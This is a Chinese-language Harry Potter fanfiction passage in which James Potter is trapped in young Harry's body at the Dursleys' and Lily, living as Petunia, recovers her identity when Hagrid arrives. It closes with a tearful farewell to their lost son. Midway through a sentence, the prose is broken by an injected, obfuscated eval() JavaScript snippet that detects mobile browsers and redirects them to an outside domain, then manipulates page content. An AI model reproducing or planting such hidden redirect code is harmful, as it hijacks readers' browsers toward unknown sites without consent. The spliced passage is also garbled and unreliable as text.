她撑着胳膊坐起身,看了看床头柜上的闹钟,七点刚过。今天是星期天,但她家的宝贝达力肯定快醒了,正等着他的早餐呢。昨天他还抱怨早餐太少,今天可得做他最爱的培根煎蛋,培根要多放两片,再配上烤得酥脆的吐司。 她轻手轻脚地下了床,穿上拖鞋,又回头瞥了一眼床上那个男人,决定不再管他。她走出卧室,脚步轻快地走向楼梯。 在经过楼梯下方的楼梯间时,她的脚步顿了一下。 把一个孩子塞在那种地方,总觉得……不太体面。要是被哪位多嘴的邻居看到了,天知道会传出什么闲话。 这个想法让她自己都有些惊讶。她随即把这种不适归咎于邻居们的闲言碎语,毕竟,德思礼家可是女贞路上最体面的人家。至于那个男孩,他活该待在那儿,谁让他是个怪胎,这正是他应得的。那些诸如把老师头发变蓝的奇怪事,都是他搞的鬼。这样的孩子就该受点教训。 这么一想,心里顿时舒坦多了。她挺直了腰板,准备下楼去厨房煎培根。可转念又一想,还是得先把那孩子叫起来做些活。她走到碗柜前,抬起手,毫不客气地在门板上重重敲了几下。 “起来!别偷懒!”她用一种自己都觉得有些尖刻的声音喊道,“不准把培根煎糊了,听见没有?” —————— 砰砰砰! 詹姆斯感觉自己像是从深不见底的黑湖里被硬生生拽出来。敲门声还在耳边嗡嗡作响,震得他头昏脑涨,脑子像是被搅成了一团浆糊。 他在哪儿?这是什么地方?为什么他会躺在这么狭小的空间里? “起来!别偷懒!不准把培根煎糊了,听见没有?” 尖利的女声穿透薄薄的木门。 他的身体似乎比大脑先一步做出反应。在一片漆黑中,他的手自动摸索着,准确地从床边摸到一副冰凉的圆框眼镜,熟练地戴在了脸上。 门被粗暴地拉开,刺眼的光线涌了进来。他下意识抬手挡住眼睛,看到一个高瘦的女人站在门口,长长的马脸上写满了不耐烦,正用一种刻薄的眼神瞪着他。 “还不快点?早饭不会自己跑到桌上!你弗农姨父要看报纸,达力的煎蛋要双面煎,别又把蛋黄弄破了!” 詹姆斯张开嘴,想说些什么——也许是问她到底是谁,也许是让她滚开——但出口的却是一句怯生生的问候:“早上好,佩妮姨妈。” 詹姆斯愣住了。这不是他的声音!这是一个男孩的稚嫩声音。而且“佩妮姨妈”?这个名字是不是在哪里听过? 他低头看自己的手,那只手小得可怜,指节上还有些陈旧的伤痕。这明显是个孩子的手,最多不超过十一、二岁。 梅林的胡子,这到底是怎么回事? 他还没来及想明白任何事,那个女人已经不耐烦地拉了他一把,将他从狭小的楼梯间里拉了出去。 “别磨磨蹭蹭的!”女人用又尖又刺耳的声音命令道,“快去做早饭!记得先把餐桌擦干净!培根别烤焦了,弗农喜欢脆一点但不要黑边。还有——”她回头瞥了他一眼,“把你那头乱毛梳一梳。” 詹姆斯的身体像个提线木偶,不受控制地跟着她走进厨房,身体自动开始准备早餐。从冰箱里拿出培根和鸡蛋,点燃炉灶,拿出煎锅——这些动作如此熟练,仿佛做过无数次。可詹姆斯知道他没怎么做过这些,小时候在家有他的母亲,现在家里有莉莉—— 莉莉! 这个名字一下子让他清醒了。莉莉在哪里?他们是不是被那只凤凰带进了那个什么回廊里?可其他人呢?哈利、小天狼星、莱姆斯、邓布利多——所有人都去哪儿了? 楼上传来沉重的脚步声,片刻后,一个肥胖得惊人的男人挤进厨房。他的脸像个充了气的紫色气球,小眼睛几乎被肥肉埋没,那撮小胡子让他看起来像头穿着睡衣的海象。 “早上好,弗农亲爱的。”那个叫佩妮的女人说着,在他脸颊上啄了一下。 弗农重重地坐在餐桌的主位上,他硕大的身躯几乎要把那把可怜的椅子压垮了。他抖开一份报纸,瞥了一眼詹姆斯:“小子,今天别搞什么鬼把戏。上次邻居家的猫失踪,我知道一定和你有关。还有上上次,普伦太太说看到你在屋顶上——” 詹姆斯的内心开始咆哮。这个肥猪是谁?凭什么这样和他说话?不——弗农?佩妮?为什么他总觉得这两个名字有种说不出的熟悉感?而这个家里的一切,从俗气的装潢到那个男人看报纸的样子,都透着一股浓重的麻瓜气息。 “听到没有?”弗农的声音提高了几分,唾沫星子飞溅。 “是的,弗农姨夫。” 该死!他想说“闭嘴,你这个长得像发酵面团的蠢货”,想说“你最好对我客气点,不然我会把你变成你最像的动物——一头猪”。但说出口的却是顺从的回答。 詹姆斯开始明白了——他被困在了这个孩子的身体里。所有说出口的话,是这个孩子说的,而不是他自己。这是什么魔法?某种强力的夺魂咒?还是—— “达力宝贝!”佩妮的声音突然变得甜腻起来。 一个和他父亲一样肥胖的男孩摇摇晃晃地走进厨房。金色的头发,粉红色的脸,小猪一样的眼睛——如果不是年龄差距,简直就是弗农的翻版。 “我要培根!”达力一屁股坐下,餐桌又是一阵摇晃,“很多很多培根!” 詹姆斯听到“达力”这个名字时在心里笑出了声。达力?这个小胖墩居然叫达力?真是配得上他那一身肥肉。这小胖墩需要的不是培根,是减肥药水。或者干脆来个永久粘牙咒,看他还怎么往嘴里塞东西。 听宝贝儿子那么一说,佩妮直接把詹姆斯赶走,自己开始在炉子前忙碌起来,又对着站在一边的詹姆斯不耐烦地挥了挥锅铲,“站在那儿干什么?去拿牛奶!” 早餐很快准备好了。一大盘金黄的培根和煎蛋被端上桌,散发着诱人的香气。达力毫不客气地把一大半食物都划拉到自己的盘子里,嘴里还含糊不清地嚷嚷着:“我的!都是我的!” 留给詹姆斯的,只有一片烤焦的面包和一小块培根。 “听着,小子,”弗农终于放下了报纸,那双藏在肥肉后的小眼睛紧紧盯着詹姆斯,“今天你负责修剪草坪,还有清洗所有的窗户。如果晚饭前我发现草坪上有一根杂草,或者窗户上有一个指印,你就别想吃饭了。” 詹姆斯的血液仿佛瞬间冲上了头顶。他实在无法忍受被眼前这个脸色涨成紫色的麻瓜用命令的语气说话。他开始试图反抗。他憋足劲想要动动手指头,使劲想要站起来,想离开这个荒唐的地方,去找莉莉他们。实在不行把盘子里的面包直接扣到那张油腻的脸上也好。 可身体完全不听使唤。 “行了,弗农。” 这时,那个女人突然开口了。她的声音里带着一丝不耐烦。 詹姆斯抬起头,正好看到她皱着眉,用餐巾擦了擦桌角。 “别把你的唾沫星子喷到煎蛋上。”她说,“快点吃,达力还要去看电视呢。” 詹姆斯有些意外。他原以为眼前的女人会和那个胖男人一唱一和,没想到她会出声打断。在她说话的时候,她的视线似乎不经意地扫过自己这边,但又很快移开了。 —————— 詹姆斯在这个男孩的身体里度过了相当奇怪的一天。老实说,这麻瓜一家的生活无趣到了极点。他现在最想做的,除了搞清楚自己在哪里,现在是什么情况之外,就是看看这个可怜的男孩到底长什么样。可那个男孩似乎不怎么爱照镜子,偶尔路过走廊尽头那面镜子时,詹姆斯会努力用余光去瞥,却总是没能看清。而那所谓的姨父姨妈,甚至一次也没喊过他的名字。 第二天,当他看到泡在大铁盆里,像破抹布一样的校服时,詹姆斯觉得自己的耐心快到了极限。 而这时,信箱的金属盖板发出“咔哒”一声轻响,几封信落在了门厅的擦脚垫上。 “去拿信,达力。”弗农头也不抬地吩咐。 “叫哈利去。”那个小胖墩正用他那根多节的手杖戳着桌腿,不耐烦地回答。 詹姆斯在心里冷笑。就该你这小胖墩去,运动一下说不定能减掉几磅肥肉。不过看他那个体型,大概需要跑到霍格沃兹再跑回来才有点效果。 “达力去拿。”他听见自己说。哈!看来当他和这具身体的原主人想法一致时,就能说话了。真有意思。 等等?刚刚那个小胖墩叫他什么来着? “哈利去拿。”达力立刻反驳。 “达力去。” “用你的斯梅廷手杖赶他去捡!”弗农终于不耐烦了。 詹姆斯的身体自动躲开那根挥舞过来的手杖,一边往门口跑去。 他弯腰捡起擦脚垫上的信件。一张明信片,看起来是某个叫玛姬的人从怀特岛寄来的;一个棕色信封,八成是账单;还有—— 他的呼吸突然停住了。 第三封信用厚重的羊皮纸做成,地址用翡翠绿的墨水写着,那种熟悉的花体字让他的心脏狂跳起来: 萨里郡小惠金区女贞路4号 楼梯下的楼梯间 哈利·波特先生收 哈利·波特! 詹姆斯的身体还在翻过来看那封奇怪的信,可他的脑子已经被这个事实震得一片空白。 这个被呼来喝去的瘦小男孩,居然是他的儿子,哈利·波特。 而他,詹姆斯·波特,被困在了自己儿子的身体里! 女贞路4号……德思礼一家……难怪他会觉得耳熟。佩妮是莉莉的姐姐!那个从小就嫉妒莉莉有魔法的麻瓜姐姐!而这个弗农·德思礼就是她那个讨厌的丈夫!他就见过他们一次,还是十几年前刚订婚的时候,最后没聊几句还闹了个不欢而散——谁能想到弗农现在肥成了一头猪?还有个胖墩儿子? 詹姆斯盯着那个地址——楼梯下的楼梯间。 所以这里是哈利长大的那个世界吗?他们把哈利养在楼梯间里?他的儿子,他和莉莉的宝贝,过得还不如家养小精灵? 他的意识控制不住地开始想象一幅画面:他走进厨房,魔杖轻轻一挥,弗农的椅子突然长出四条腿开始狂奔,带着那头肥猪在屋里横冲直撞;佩妮的所有瓷器逃离她的手,用最高的音调合唱《女巫进行曲》,让她什么家务也做不了;至于达力,一个简单的漂浮咒就能让他像个气球一样贴在天花板上,只能眼巴巴地看着他的培根被哈利吃光…… 可现实是,他连动一根手指都做不到。 “小子,信呢?”弗农的吼声传来。 身体自动走回厨房。詹姆斯在内心疯狂地对着自己的儿子喊着:看信!快看那封信!那是霍格沃兹的录取通知书! 詹姆斯(哈利)把账单和明信片递给弗农,然后坐下来想要撕开那个黄色的信封。 “老爸!”达力突然尖叫起来,“老爸,哈利收到什么东西了!” 詹姆斯刚要抽出信纸,那封信就被一只肥大的手从他手中猛地抢走了。 “那是我的!”他喊道,身体本能地想把信夺回来。 “谁会给你写信?”弗农讥讽地说,他用一只手把信纸抖开,只瞥了一眼,他的脸色就变化得像一场灾难片——先是涨红,然后变青,最后变成了死灰色,整个过程不超过三秒钟。 “佩——妮——!”他的声音像被掐住的鸭子,“佩妮,看看这个!” 詹姆斯一直没拿回那封信。他看着那两个麻瓜惊慌失措的脸,听着他们充满恐惧的交谈,最后弗农把他从楼梯间里赶了出来,让他搬进达力的第二间卧室——那个堆满了达力不要的破玩具的房间。詹姆斯坐在吱嘎作响的小床上,看着满屋子的破烂,心里充满了苦涩的讽刺。 “这就是我儿子住的地方?”他在心里愤怒地想,“十一年了,他们就让他住在楼梯间里,现在因为害怕才想起来给他一个正常的房间?” 但至少,这意味着德思礼一家害怕了。他们害怕魔法世界,害怕邓布利多,更怕有人会来接哈利走。 “别担心,儿子。”詹姆斯在心里对哈利说,虽然他知道哈利听不见,“邓布利多不会放弃的。谁也不能阻止你去霍格沃兹!相信我,莱姆斯说过,当年邓布利多是直接去接他到学校的。说不定他也会来接你的?” —————— 第二天一早,她头痛得厉害。 那种痛感很奇怪,像是从脑海深处传来的沉闷钝痛。自从昨天看到那封信后,这种奇怪的头痛就开始了。那些翠绿色的字迹像针一样刺得她眼睛发疼——霍格沃兹魔法学校……这几个字本该让她感到害怕,难道不是吗?可为什么她的内心反而涌上来一股尖叫的冲动? 她揉了揉太阳穴,将早餐端上桌。弗农一边抱怨着工作,一边啃着吐司,达力则因为没能多看一个小时的电视而在一旁哭闹。 一切都和往常一样,但她的内心就是觉得不对劲。 信件再次到来的时候,那种不对劲的感觉达到了顶峰。弗农让达力去拿信,达力尖叫着指向那个男孩:“又有一封!是给哈利的!” 弗农像被踩了尾巴的猫一样跳起来,冲向门厅。经过一番混乱的争抢后,弗农喘着气,手里捏着另一封羊皮纸信。 她看着那封信,头痛得几乎无法忍受。每次看到信封,每次看到“波特”这个姓,疼痛就像尖锐的针一样刺进脑袋。 她想起了很多年前,她那个受尽父母宠爱的妹妹,也是在收到一封一模一样的信之后,就走上了一条和她截然不同的、让她嫉妒又恐惧的道路。那个世界夺走了她的妹妹,现在,它又来了,要来夺走她好不容易建立起来的正常生活。 她绝不允许这种事发生。 午后,达力哭闹着要蛋糕。弗农开车带他去了镇上最好的糕点店,买了个装饰华丽的奶油蛋糕。达力兴冲冲地挖了一大口,就嫌弃地把它推到一边,“呸!一点都不甜!我要巧克力的!” 价值二十英镑的蛋糕就这样被扔在餐桌上,奶油和糖霜被挖得乱七八糟。她看着那个被糟蹋的蛋糕,第一次产生了想扇他一巴掌的冲动。 “妈妈,我要巧克力蛋糕!”达力尖叫着,“现在就要!” “闭嘴!”她几乎要吼出来,但最后说出口的是:“小心肝,别哭了,妈妈这就给你买。” 晚上,她把蛋糕上那些被叉子划得不成样子的边角料切下来,随便装在一个盘子里,端给了楼上那个男孩。她不知道自己为什么要这么做,只是脑子里闪过那个瘦小的男孩,一整天好像没怎么吃东西。她迅速将这种荒唐的想法归结为节俭:把这么好的东西直接扔掉,实在太可惜了。没错,这只是处理掉“麻烦”的一种方式,就像处理掉那些讨厌的信一样。 —————— 接下来的日子像疯了一样。 詹姆斯看着哈利——不,应该说看着他自己的儿子,在这个压抑的家里展现出惊人的韧性。这个孩子没有放弃,他拼尽全力想要拿到一封信。 那天清晨,詹姆斯发现哈利的身体在凌晨六点就悄悄醒来。好小子!詹姆斯在心里为他喝彩,这聪明劲儿真像我!他看着哈利蹑手蹑脚地穿过漆黑的走廊,准备去拦截邮差。 可哈利的脚踩在了一个软绵绵的大东西上——弗农裹着睡袋,像一头庞大的海象一样堵死了门口。 “该死的麻瓜!”詹姆斯在心里狠狠咒骂,“等我出去,我一定要给你一个恶咒,让你一辈子都只能睡在门口!” 很快,信件像潮水一样涌来。它们从门缝里塞进来,从楼下洗手间的小窗户里挤进来,甚至卷成小卷藏在送奶工递来的鸡蛋盒里。 “看到了吗,你这个蠢货!”他在心里对弗农大喊,“你以为你能阻止霍格沃兹?你以为你能阻止魔法?做梦去吧!” 每次哈利试图抓住信,而詹姆斯也在同一时刻想同样的事情时,两个意识的重叠让他感到身体的控制稍微松动了一些,仿佛能让身体反应快一些。 “原来如此。”詹姆斯在意识中想,“当我们想法一致时……” 他开始留意这些瞬间。当哈利伸手去抓信时,他也用尽全力“推”——手指似乎伸得更远了一些,差一点就能摸到信封的边角。 “快!就差一点!用那招——对,就像追金色飞贼一样!该死,又被抓住了!” 当哈利想要反驳弗农时,詹姆斯在心里大声附和,这使得哈利的声音变得更有力了些。 虽然改变微乎其微,但至少让他不再是个完全的旁观者。他是父亲,即使被困在儿子的记忆里,也要尽力保护他——哪怕只能让他少挨一下打,多吃一口面包。 当弗农彻底疯狂,把他们全家塞进车里开始逃亡时,詹姆斯心里充满了困惑和愤怒。这个蠢货以为逃跑就能躲过霍格沃兹?他显然不了解邓布利多的决心。 “莉莉……”他在心里呼唤,“你在哪儿?你也被困在什么地方了吗?还是只有我一个人在这该死的过去里?” —————— 暴风雨在海上咆哮,小屋在狂风中摇摇欲坠。 詹姆斯蜷缩在小屋最不硌人的地板上,裹着一条薄得像纸一样的破被子。雨水拍打着薄薄的墙壁,雷声在天空中轰鸣。詹姆斯听到哈利的肚子饿得咕咕直叫,能感受到他内心逐渐升起的绝望,而他什么也做不了,只能在心里一遍遍地安慰: “坚持住,哈利。不会有事的。邓布利多一定会找到你的。你的信会来的,你会去霍格沃兹的……” 但他自己都不太相信了。如果他要永远被困在这里呢?如果这就是那个回廊把他拉进来的目的——让他亲身体验儿子经历过的痛苦? “至少让我做点什么!”他在心里怒吼,“让我保护他!告诉他真相!让我……” 他忽然注意到哈利看了一眼达力手腕上的夜光手表。 11:50。 詹姆斯愣了一下才反应过来。还有十分钟就是哈利的生日了。 他开始不自觉地数着秒。即使被困在这该死的记忆里,他也要在零点的第一时间对儿子说生日快乐——哪怕只能在意识里。 等我出去了,他咬牙切齿地想,我一定要找个时间,好好“拜访”一下德思礼一家,让他们知道把巫师的孩子关在楼梯间里是什么后果。可这股怒火刚一燃起,就被一盆冰水当头浇灭。他猛然意识到,他自己那个世界的德思礼一家,从未对哈利做过这些。他现在所经历的,是另一个哈利的过去。这股仇恨根本找不到目标,他想用力挥出拳头,却只能打在虚无的空气中。 11:52。 哈利在数秒。詹姆斯能察觉到——男孩在默默倒数,期待着什么,又不敢期待太多。 “坚持住,儿子。”詹姆斯在心里轻声说,即使知道儿子听不见,“爸爸在这里。一直都在。” 11:55。 还有五分钟。詹姆斯知道是错觉,可他就是觉得喘不过气来。那个他才刚刚真正接受的孩子,是不是小时候就这样度过了每一个生日。孤独又寒冷,没有人记得,没有人在乎? 梅林啊,他错过了太多。等他离开这个鬼地方,一定要和莉莉好好商量。虽然现在才四月底,但他们完全可以用两个多月的时间好好准备。到了7月31日,给哈利过一个永生难忘的生日。礼物买什么呢?对了,还要邀请大脚板和月亮脸,安排一顿温暖的家庭晚餐,当然少不了莉莉亲手做的蛋糕,喝点好酒,打几场三人魁地奇…… 11:58。 詹姆斯忽然想起哈利现在的身份——霍格沃兹的教授,受人尊敬的黑魔法防御术老师。他的儿子已经长大了,已经不需要父母的保护了。 但此刻,詹姆斯呆在这个瑟瑟发抖的瘦小身影里,只想多一双手把他抱在怀里,告诉他以后都不会再让他穿着这种破烂衣服,在这么一个冷飕飕的破岛上瑟瑟发抖,饿着肚子过生日。 他和莉莉的孩子值得最好的一切。 三、二、一—— “生日快乐,哈利!” —————— 她裹着发霉的毯子,辗转反侧,无法入眠。 风暴的声音太吵了。她坐在角落里,听着木屋在狂风中吱嘎作响,只觉得自己的头也要裂开了。 弗农和达力已经沉沉入睡,鼾声此起彼伏。她不由自主地看向蜷缩在另一头的男孩。 他瘦得像根豆芽菜,瘦小的身体在毯子下微微颤抖。只有那双眼睛,偶尔在昏暗中睁开时,会像两簇小小的绿色火焰。 那双和莉莉一样的绿眼睛…… 她瞥了一眼弗农手腕上的表,夜光指针正缓慢地走向十二点。不知为何,她发现自己竟然在心里跟着秒针一起一起倒数。 二十、十九…… 她在干什么?她被自己这个荒唐的做法吓了一跳。为什么要为一个她讨厌的男孩倒数?难道她还会在意他的生日吗? 十四、十三…… 但她还是在数。 回去以后,她想,或许可以给他买个小蛋糕。不用太大,那种最便宜的纸杯蛋糕就行,上面插根蜡烛,省得他总用那双绿眼睛看着人,让人心烦。 九、八、七…… 她不知道自己为什么如此期待零点的到来。心脏在胸腔里疯狂跳动,仿佛有什么重要的事即将发生。 二、一—— 轰!砰! 整个小屋都在震动。门被一股巨力撞击着,接着嘭的一声,门板飞了出去,重重地摔在地上。 门口站着一个巨大的男人,满脸须发,穿着厚重的黑色大衣,黑甲虫般的眼睛在乱糟糟的头发下闪闪发光。 她吓得尖叫起来,和达力一起躲到了弗农身后。 那个巨人挤进屋来,弓着腰,目光在屋里扫视了一圈,最后落在了那个男孩身上。 “这就是哈利了!”巨人说。 他从那件破旧的大衣口袋里掏出一个压扁的盒子,递给男孩。 男孩用颤抖的手指打开它,里面是一个黏糊糊的巧克力大蛋糕,上面用绿色糖汁写着:祝哈利生日快乐。 她看着那行字,脑子里“嗡”的一声,像是有什么东西断裂了。 “我是霍格沃兹的钥匙保管员和狩猎场看守。”巨人用轰隆隆的声音自我介绍,然后变戏法似的从口袋里掏出铜壶和香肠,又用一根破雨伞点燃了壁炉。 火焰升腾起来的那一刻,她感到一阵窒息。她看着那个巨人和男孩的互动,听着他们的对话,听到巨人对着男孩咆哮,“难道你从来没想过你父母是在哪里学会那一切的吗?” 父母…… “你总该知道你父母的事吧,”巨人说,“我是说,他们很有名气,你也很有名气。” “瞒着什么不让我知道?”那个男孩急切地问。 “住嘴!我不准你说!”弗农惊慌失措地大喊。 “哦,气死你们,”巨人说,“哈利,你是一名巫师。” 巫师。这个词像一道闪电,劈开了她混乱的脑海,将那些被掩盖在深处的记忆炸得四处飞溅。 “我们当然老早就知道!”她听到自己用佩妮那尖利刻薄的声音嘶喊,“我那个该死的妹妹既然是,你怎么可能不是?哦,她就是收到同样的一封信,然后就不见了——进了那所学校——家里有个巫婆他们还美美滋滋的!” 她一边说着,一边感到一阵天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169499|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋地转。她是谁?为什么当她说出“妹妹”这个词的时候,心会难受得无法呼吸? “您对我说过,他们是遇到车祸丧生的!”哈利震惊地问。 “车祸!”巨人咆哮起来,“车祸怎么会伤害莉莉和詹姆斯·波特?这是诬蔑!是诽谤!” 莉莉和詹姆斯·波特。 莉莉……和……詹姆斯…… 她的名字。 她丈夫的名字。 轰的一声,无数的画面如洪水般倒灌进她的脑海——戈德里克山谷温馨的小屋,婴儿床里咯咯笑的宝宝,詹姆斯把哈利抛到空中又稳稳接住,小天狼星送来的玩具飞天扫帚,满屋子的笑声和爱…… 然后,时间走向了不同的分支,一边是那道刺眼的绿光,和一声撕心裂肺的尖叫;另一边却是整整十二年温暖而琐碎的时光,她看着那个男孩从蹒跚学步到偷偷练习飞行,看着他第一次收到霍格沃兹的信时那兴奋的表情...... “……神秘人把他们杀了……可他没有杀成你……” 海格还在讲述那个可怕的夜晚,可每一个字都像烙铁一样烫在她的灵魂上,把那些记忆变成了正在发生的痛苦。 “……看看他们都干了些什么,整天跟男女巫师混在一起,我早就知道他们迟早要吃苦头——” 弗农开始怒吼那些可怕的话。 “住嘴!”她高声尖叫起来,声音完全不像佩妮·德思礼,“你再说一遍试试?你这个肥胖、无知,除了抱怨和欺凌弱小什么都不会的蠢货!” 所有人都惊愕地看着她。她脸色惨白,浑身颤抖,死死地盯着那个目瞪口呆的胖男人。 “你,还有佩妮,你们怎么敢……”她的声音在发抖,但充满了前所未有的愤怒,“你们怎么可以这样对我的孩子?让他睡在楼梯间里,穿你们儿子的旧衣服,把他当成家养小精灵一样使唤——你们怎么敢!” 弗农目瞪口呆:“佩妮,你在说什么——” “我不是佩妮!” 记忆的墙壁彻底崩塌了。她是莉莉·波特,她一直都是!那些属于佩妮的情感以及记忆都如潮水般退去,留下的是一个母亲撕心裂肺的愤怒和痛苦。 弗农和达力惊恐地瞪着她,仿佛看到了什么怪物。海格也愣住了,举着破雨伞忘了下一步动作。世界在这一刻静止了。所有的声音全都消失了。弗农、达力、海格,他们脸上的表情凝固成了一幅荒诞的画。 “莉莉?” 男孩的声音让莉莉猛地转过身。那双绿色的眼睛里带着她熟悉的神情。 “詹姆斯?”她飞快冲过去,跪在那个瘦小的身影面前,双手捧起那张瘦小的脸,“哦,梅林啊,是你吗?真的是你?” “莉莉……”泪水从那双绿眼睛里涌出,“终于找到你了。我以为我会永远被困在这里,只能看着,什么都做不了……” 她把他拉进怀里,紧紧地抱着那个属于哈利的身体。 “对不起,对不起……”她哭着说,“我不知道,我以为我是佩妮,我对你做了那些可怕的事……” “不是你的错。”詹姆斯的声音从那个小小的身体里传出来,带着无尽的疲惫,“你不知道自己是谁。但我知道,我一直都知道。我被困在哈利的身体里,看着德思礼一家这样对待我们的儿子……梅林啊,莉莉,我什么都做不了,我连一句话都说不出来……” 他们就这样抱在一起,在这个静止的世界里终于重逢。直到整个世界——破烂的小屋、凝固的巨人和德思礼一家——都化作一片刺眼的白光。 —————— 白光渐渐消散,他们站在一片柔和的虚无中,紧紧相拥。莉莉低头靠在詹姆斯的肩膀上,泪水无声地滑落,詹姆斯则把她抱得更紧,仿佛一松手,她就会消失不见。 “我不知道你在哪里。”詹姆斯的声音还在颤抖,“我不知道其他人在哪里。我被困在哈利的记忆里,看着他……我们的儿子,莉莉,我们的儿子过着这样的生活,梅林啊,这三天简直像是地狱……” “我很抱歉。”莉莉抚摸着他的头发,声音哽咽,“如果我早点醒来……” “你醒来了,这就够了。”詹姆斯吻了吻她的额头,“你最后说的那句话太棒了,你都不知道我这几天多想大声骂那头肥猪!” 詹姆斯还想说什么安慰的话,却突然停住了。 他们慢慢松开彼此,同时低下了头。 一个男孩站在他们中间,仰头看着他们。他穿着一身霍格沃兹校袍,十二岁的模样,黑发乱翘,圆形镜框后的绿眼睛明亮,脸上带着大大的笑容。他的额头上没有那道闪电伤疤。 莉莉捂住嘴,眼泪瞬间涌了出来。她的双腿一软,差点失去平衡。詹姆斯及时扶住她,自己的手也开始发抖。 “嗨,爸爸。”男孩咧嘴笑了,露出一口整齐的白牙,“妈妈。你们来了。” 听到这声熟悉的呼唤,莉莉发出一声撕心裂肺的哭喊,撞撞跌跌地扑向那个小小的身影。 “哈利——我的宝贝——”她双膝一软,重重地跪在地上,颤抖的手不停地抚摸着男孩的头发、脸颊和肩膀,“是你吗?真的是你吗?” “妈妈,别哭。”男孩伸手擦去她的眼泪,可他自己的眼睛也红了,“我在这里等你们好久了。” 詹姆斯再也忍不住,三步并作两步冲过去,紧紧把他们两个搂进怀里。“哈利……”他低声呢喃,抚摸着儿子的头发,“哈利,你回来了?你真的回来了?” “爸爸……”男孩轻轻拍着他的背。 三个人紧紧抱在一起。莉莉哭得上气不接下气,詹姆斯的眼镜都被泪水的雾气模糊了。 “我的宝贝,我的哈利——”莉莉不停地吻着儿子的头发,“你回来了,一切都会好的——” “妈妈。”男孩轻轻推开他们,后退了一步,“我没有回来。我只是……来道别的。” “什么?”詹姆斯惊叫道。 “我不能待太久。”男孩说,抬头看着他们,“福克斯说你们会来的。说你们需要跟我道别。” “不!”莉莉尖叫着,想再次把他拉进怀里,“你不能这么说!你就在这里,你就在我们面前!” 她又想抱住他,但男孩轻轻躲开了。 “别走。”詹姆斯跪下来,双手紧抓住男孩的肩膀,“听着,哈利,一定有办法的!” “爸爸。”男孩摇摇头,“我已经走了。你们都知道的。另一个我来了,我就必须走。这是规则。” “去他的混蛋规则!”詹姆斯怒吼,又低声恳求,“为什么不能两个都在?你们都是我们的孩子!求你了,儿子,别再离开我们。我们已经失去你一次了,我不能——我们不能再——” “我们可以想办法,一定有办法的。邓布利多那么厉害,他一定——” “爸爸。”男孩轻轻握住他的手,“你知道这不可能的。我和他——另一个我——我们不是两个人。我们是同一个灵魂,只是处在不同的时间点上。可是时间不会让我们同时存在在一个地方。” “不!”詹姆斯像被烫到一样甩开手,站起来在原地焦躁地打转,双手抓着头发,“什么叫不能同时存在?什么叫时间不允许?这是哪个混蛋规定的!” 莉莉死死抓着儿子的胳膊,眼泪不断滑落。她听懂了——当然听懂了,可她的嘴唇在颤抖,拼命摇着头。 “不,不对。”她声音很小地说服自己,“你在骗我们,对不对?这是你的另一个恶作剧,是不是——” “妈妈……” “你明明就在这里!”她突然提高了声音,眼泪止不住地涌出,“我能摸到你,能抱着你!你的手是温暖的!你怎么能说你已经走了?”她急切地转向詹姆斯,“詹姆斯,你看,他还好好的!” 男孩的绿眼睛里盛满了哀伤。那眼神使得莉莉和詹姆斯一时都停下了动作。 莉莉的手指松了松,又立刻抓得更紧。然后,詹姆斯慢慢跪下来。 “哈利,求你了——”他哽咽着说。 男孩先是用力抱了他一下,又抱住了母亲,“听我说,妈妈。我不会消失的,我会一直在你心里,不是吗?而且你们也没有失去我——” 他凝视着父母的眼睛,“因为另一个我也是我。他也是哈利·波特呀。我们是同一个人,拥有同样的灵魂。他爱你们,就像我爱你们一样。所以,别再因为我而难过了,好吗?” 詹姆斯将儿子抱得更紧,“不要安慰我们了,哈利,这不像你。你要是不高兴了,早就把屋顶掀翻了——” “那我应该大哭大闹吗?”男孩歪着头,眼泪终于掉了下来,但还在努力笑着,“其实我也想的,爸爸。我想跟你们回家,我想和你们一起吃早餐,我还要吃妈妈做的南瓜馅饼,还要和你一起练习魁地奇,还想回霍格沃兹上学……对了,我好想看看妹妹——妈妈,妹妹出生了吗?” 莉莉抽泣着点头:“是的,宝贝——三月刚出生——她叫黛西,有着和我一样的红头发——” “黛西?”男孩的眼睛亮了亮,然后又黯淡下去,“真好听的名字。我本来还想当个好哥哥呢……” 他停了停,用袖子擦去眼泪:“不过另一个我会的,对吧?他很厉害的,比我厉害多了,还会那么多魔法!他会保护她,教她飞天扫帚,在她第一次收到霍格沃兹来信时陪着她……” “可是黛西也会需要你的。”莉莉哭着说,“我们都需要。” “我知道。”男孩露出一个微笑,“我都知道。但是爸爸妈妈,你们想想另一个我。在他的世界里,他一岁时就没有爸爸妈妈了,独自长大,没有人教他骑飞天扫帚,没有人在他做噩梦时安慰他,没有人在他生日时给他烤蛋糕。现在,他终于有了你们,而你们也有了他。这难道不是一件美好的事吗?你们爱他吗?” “我们爱他。”詹姆斯颤抖着说道,“就像爱你一样。你们都是我们的哈利,无论是十二岁的你,还是二十四岁的他。” “可我们也爱你。”莉莉抚摸着男孩的脸颊,“永远爱你。每一个你。” “我知道。”男孩回抱住他们,把脸埋在母亲怀里,“我一直都知道。” “可我还是舍不得你走。让我们多待一会儿。”莉莉乞求道,“就一会儿。让我再抱抱你……” 三个人就这样静静地拥抱着,谁都不愿意先松手。直到男孩稍微推开他们,认真地看着父母,“我得走了。” “哈利……” “不要把这当作永别,爸爸妈妈。”男孩听上去像要去郊游一样轻松。 “就当我去冒险了。爸爸,你不是总说等我再大点,要带我去其他国家看看吗?现在我要先去一个更远的地方冒险了。但在我走之前——” 他后退了几步,转身指向虚无深处逐渐显现的一条光路。 “往那边走。”他说,“你们会看到他的——另一个我的。回廊想让你们看看那些记忆,找到一些重要的东西。” “什么东西?”詹姆斯问。 男孩歪着头想了想:“我也不知道。等你们看到就会明白的。” 他笑着,一步步向后退去,身体开始变得透明。 “哈利——”莉莉伸出手,想要再抱抱他。 “没关系的,妈妈。”男孩笑着说,“我很开心。真的。能再见到你们,能说再见,我很开心。” “替我告诉另一个我,他值得你们的爱。还有——” “我爱你们。永远。” 最后一个字消失在空气中,男孩彻底不见了。 